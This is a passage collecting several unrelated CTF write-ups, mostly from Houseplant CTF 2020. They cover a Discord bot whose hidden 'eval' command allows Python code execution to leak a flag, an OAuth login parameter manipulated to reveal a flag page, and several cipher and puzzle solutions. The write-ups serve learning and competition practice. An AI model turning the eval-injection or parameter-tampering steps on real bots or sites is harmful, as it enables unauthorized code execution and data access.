ZWR1CTyGDxZ/iEIm3j4S6jcSchbyaRPwg9SMIwplBBNZEbwJ7Z1M9lvja9NzHQ73Dic0UtpBgtpO1O9nlRInfj+LmRqSSqPaH3STWD6WmYTPFgiDEFxFYEz0J7OVtLfiXlkY9N/xhKb40t+tHswVBGHzkVdl+MDHU82fchiO8U2YFfFpGEIRhS0II7HvOzt9TikUVXaXey8nDa+4UvJ2ehTc9aXjbm47VFP4ZY1r2h9Y6XWiiYX6E0h8Hl7W3YmZA+w6qIAjDk4Txwd7U0ojr2rQf2EskfpiejXX9+Ki2IAgDR1wE/eSR1DR8n8TobdOvgyYC88RVIAjDloR6mHMDWXr3ejPx9YwcrHSnoDLOV6czQaM8bysIw5aEfdHAgJ8qHRMMIDUaVc+gGisbRadv1UK5JPpri0YopmGDHnLCIcz1+1BC8cdBo9WKb9HF4lCSPBsrCPFAHtMycSoCOxiMIYEdRyJdFgpiIsVZJNSMVd9ymlSzZPM/TbA55npOMxYL1el5rQ0FEn1tWm0owYFFdY/NgXVOJ950utFgZakXBCEeiMCa+LgE9kzBAtu/1xEEQRgM5CbXCELEVRASCxFYQRCEOCECKwiCECdEYAVBEOKECKwgCEKcEIEVBEGIE8NKYKPt9XpKEARh6DOsBDZQ+YKeEgRBOD0sZ+A19GElsL6PHoV/wxOIiCUrCMJpwOJqTYr/W5LD6k0uQRCE4YTc5BIEQYgTIrCCIAhxwlKx4FxxEQiCIMQBsWAFQRDihAisIAhCnBCBFQRBiBMisIIgCHEB+P+l6wxjleh44wAAAABJRU5ErkJggg==``` The decoded string will give you a PNG image. ![hint.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Adventure-Revisited/hint.png) The image is referred to a RCE that chan be possible due to an `eval` in a Discord bot. The bot for this challenge is *Jade* under *#adventure-revisited* Discord channel. You can have more info on the bot with the `jst help` command. ```Help:Enter actions starting with a verb ex. "go to the tavern" or "attack the orc."To speak enter 'say "(thing you want to say)"' or just "(thing you want to say)"Jade will respond to JST add [action] ex. JST add you slap yourself. The following commands can be entered for any action:"revert" Reverts the last action allowing you to pick a different action."print" Prints a transcript of your adventure (without extra newline formatting)"help" Prints these instructions again"invite" Give you a lovely invite link :3 -> https://discordapp.com/api/oauth2/authorize?client_id=410253782828449802&permissions=0&scope=bot``` Another command, not listed, is `jst eval <some_command>`. You can't execute that command in the CTF Discord server, but you can invite the bot to your own server with the command `jst invite` and then click on the link provided by the bot. You can trigger the `eval` with `jst eval x=1+1;return x` and what you can see is that the code is put into a Python method somehow invoked. ![eval-example.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Adventure-Revisited/eval-example.png) It seems that you can't use/invoke attributes/methods starting with `__` and that `import` clause is blocked. So this seems to be similar to a Python jail. After few attempts, you can discover that `dir()` method returns some interesting values (other methods have the same output, e.g. `globals()`). ```jst eval return dir() Evaldef eval(): return dir()Result:{'adnozulerqhsymvtfc': '[HIDDEN]', 'ouhbn': '[HIDDEN]', 'omhwjqyfxzegkrp': '[HIDDEN]', 'rbwufi': '[HIDDEN]', 'wvb': '[HIDDEN]', 'nrmdychqxal': '[HIDDEN]', 'onetvfqmrspwza': '[HIDDEN]', 'igqotewvkhlczd ...``` Another interesting thing is that if you pass an input to the method, like `dir(42)`, the following error will be raised: `getvars() takes 0 positional arguments but 1 was given`. It seems that the `dir()` method is a wrapper for a method that gets all possible vars. So the data returned before are variables names and variables contents, maybe. You can try to find a content different from `[HIDDEN]` and you discover the flag format string. ```jst eval dirs = [d for d in dir().values() if '[HIDDEN]' not in d]; return dirs Evaldef eval(): dirs = [d for d in dir().values() if '[HIDDEN]' not in d]; return dirsResult:['rtcp{}']``` What is the name of the variable? You can discover it with the following command. ```jst eval dirs = [d for d in dir().keys() if 'rtcp{}' in dir()[d]]; return dirs Evaldef eval(): dirs = [d for d in dir().keys() if 'rtcp{}' in dir()[d]]; return dirsResult:['rgslbtudhniypmvezkjxwfac']``` If `rgslbtudhniypmvezkjxwfac` is the name of a variable, you can simply print its content with the following command and you will discover the flag. ```jst eval return rgslbtudhniypmvezkjxwfac Evaldef eval(): return rgslbtudhniypmvezkjxwfacResult:rtcp{1tz_n0t_4_bUg_1ts_a_fe4tur3}```
# Houseplant CTF 2020 – Beginner 8 * **Category:** beginners, crypto* **Points:** 25 ## Challenge > You either mildly enjoy bacon, think it's a food of the gods, or are vegan/vegetarian.> > 00110 01110 00100 00000 10011 00101 01110 01110 00011 00011 01110 01101 10011 10010 10011 00000 10001 10101 00100> > Remember to wrap the flag in rtcp{}>> Hint! Make sure you use the "complete" alphabet. ## Solution It's *Bacon cipher*, you can use an [on-line tool](https://www.dcode.fr/bacon-cipher) to decipher it. ```GOEATFOODDONTSTARVE``` So the flag is the following. ```rtcp{GOEATFOODDONTSTARVE}```
# Houseplant CTF 2020 – What a Sight to See! * **Category:** OSINT* **Points:** 50 ## Challenge > What Google Search Operator can I use to find results from a single website?> > Hint! This flag is NOT flag format ## Solution ```site:```
# Satan's Jigsaw Writeup ### Prompt > Oh no! I dropped my pixels on the floor and they're all muddled up! It's going to take me years to sort all 90,000 of these again :( > Dev: Tom > Hint! long_to_bytes File: [chall.7z](chall.7z) ### Solution This provided archive contains 90,000 JPEG's. I extracted all of them to `./images` (relative to this README's PWD). Each of these images has a size of 1 pixel. Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a 'static' image. The hint makes obvious that we must convert the decimal part of the filename to bytes, but it does not explain what to do with those. However, after trying it out, we saw that the he decoded filenames contain an X and Y 'coordinate' in the format "X Y". Decoding all this, sorting, and making an image is all achieved in the script [image_reconstruct.py](image_reconstruct.py). ![Image](out.png) The top left QR code was essential to solving the challenge, however the bottom right one contains the flag. ```rtcp{d1d-you_d0_7his_by_h4nd?}``` ~ Lyell Read
# Houseplant CTF 2020 – Selfhost all the things! * **Category:** web* **Points:** 1000 ## Challenge > The amount of data that online services like Discord and Instagram collect on us is staggering, so I thought I'd selfhost a chat app!> > http://challs.houseplant.riceteacatpanda.wtf:30005> > The chat database is wiped every hour.> > This app is called Mantle and is open source. You can find its GitHub repo at https://github.com/nektro/mantle.> > Dev: Tom>> Hint! discord more like flag ## Solution The webpage has a link to enter in the chat. ```html <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Mantle</title> <link rel="stylesheet" href="./css/main.min.css"> </head> <body> <main> <h1>Mantle</h1> The new easy and effective communication platform for any successful team or community, providing you the messaging and voice platform that puts you in charge of both the conversation and the data. Enter </main> </body></html>``` The new easy and effective communication platform for any successful team or community, providing you the messaging and voice platform that puts you in charge of both the conversation and the data. Enter Clicking on it, you will be redirected to another page where you can select the OAuth2 Identity Provider. Choosing `discord`, the following HTTP request will be generated. ```GET /login?with=discord HTTP/1.1Host: challs.houseplant.riceteacatpanda.wtf:30005User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://challs.houseplant.riceteacatpanda.wtf:30005/loginUpgrade-Insecure-Requests: 1 HTTP/1.1 302 FoundLocation: https://discordapp.com/api/oauth2/authorize?client_id=<REDACTED>&duration=temporary&redirect_uri=http%3A%2F%2Fchalls.houseplant.riceteacatpanda.wtf%3A30005%2Fcallback&response_type=code&scope=identify&state=discordDate: Fri, 24 Apr 2020 23:02:04 GMTContent-Length: 0Connection: close``` You can notice that `with` HTTP GET parameter manipulation is possible. ```GET /login?with=foo HTTP/1.1Host: challs.houseplant.riceteacatpanda.wtf:30005User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://challs.houseplant.riceteacatpanda.wtf:30005/loginUpgrade-Insecure-Requests: 1 HTTP/1.1 200 OKDate: Fri, 24 Apr 2020 23:02:43 GMTContent-Length: 0Connection: close``` Using the value `flag` will cause an interesting redirection. ```GET /login?with=flag HTTP/1.1Host: challs.houseplant.riceteacatpanda.wtf:30005User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://challs.houseplant.riceteacatpanda.wtf:30005/loginUpgrade-Insecure-Requests: 1 HTTP/1.1 302 FoundLocation: http://challs.houseplant.riceteacatpanda.wtf:40002?client_id=1&duration=temporary&redirect_uri=http%3A%2F%2Fchalls.houseplant.riceteacatpanda.wtf%3A30005%2Fcallback&response_type=code&scope=profile&state=flagDate: Fri, 24 Apr 2020 23:03:06 GMTContent-Length: 0Connection: close``` Following the redirection will return a webpage with the flag. ```GET /?client_id=1&duration=temporary&redirect_uri=http%3A%2F%2Fchalls.houseplant.riceteacatpanda.wtf%3A30005%2Fcallback&response_type=code&scope=profile&state=flag HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://challs.houseplant.riceteacatpanda.wtf:30005/loginUpgrade-Insecure-Requests: 1Host: challs.houseplant.riceteacatpanda.wtf:40002 HTTP/1.1 200 OKDate: Fri, 24 Apr 2020 23:03:27 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.2.30Vary: Accept-EncodingContent-Length: 429Connection: closeContent-Type: text/html; charset=UTF-8 <html> <head> <title>You got the flag!</title> <style> .container { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } body { font-family: sans-serif; } </style> </head> <body> <div class="container"> <h4>rtcp{rtcp-*is-s/ort-of-se1fh0st3d}</h4> </div> </body></html>``` So the flag is the following. ```rtcp{rtcp-*is-s/ort-of-se1fh0st3d}```
# Houseplant CTF 2020 – Post-Homework Death * **Category:** crypto* **Points:** 570 ## Challenge > My math teacher made me do this, so now I'm forcing you to do this too.> > Flag is all lowercase; replace spaces with underscores.> > Dev: Claire> > Hint! When placing the string in the matrix, go up to down rather than left to right.> > Hint! Google matrix multiplication properties if you're stuck.>> posthomeworkdeaths.txt 1459c156daa68f0d7bfcc698a18e93e8 ## Solution The challenge gives you a [text file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Post-Homework%20Death/posthomeworkdeaths.txt). ```Decoding matrix: 1.6 -1.4 1.82.2 -1.8 1.6-1 1 -1 String: 37 36 -1 34 27 -7 160 237 56 58 110 44 66 93 22 143 210 49 11 33 22``` Based on the hints, you have to perform a matrix multiplication. An [on-line tool](https://matrix.reshish.com/multiplication.php) can be used. The commutative property of multiplication **does not hold!** So you can have two different results:* one with decoding matrix used as the first operand;* another with decoding matrix used as the second operand. The columns of the first operand must be the same of the rows of the second operand, so you have to craft the string matrix accordingly. ![mul1.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Post-Homework%20Death/mul1.png) ![mul2.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Post-Homework%20Death/mul2.png) The correct operation is the first one. ``` 7 4 25 18 15 23 1115 15 15 0 13 15 0 0 0 21 8 5 18 0``` Data can be read with the same order of the string matrix: *up to down rather than left to right*. ```7 15 0 4 15 0 25 15 21 18 0 8 15 13 5 23 15 18 11 0 0``` Data is encrypted with A1Z26 cipher (`0` is space), so the original value is the following. ```go do your homework``` The flag is the following. ```rtcp{go_do_your_homework}```
# Polar Bears ## Description > Time to put your problem solving skills to work! Finish the sequence!>> NOTE: The flag is NOT in the standard auctf{} format>> 4, 8, 15, _, _, _>> flag format - comma separated list 1, 2, 3 ## Solution Google identifies it as a sequence used in the show Lost. Flag: `6, 23, 42`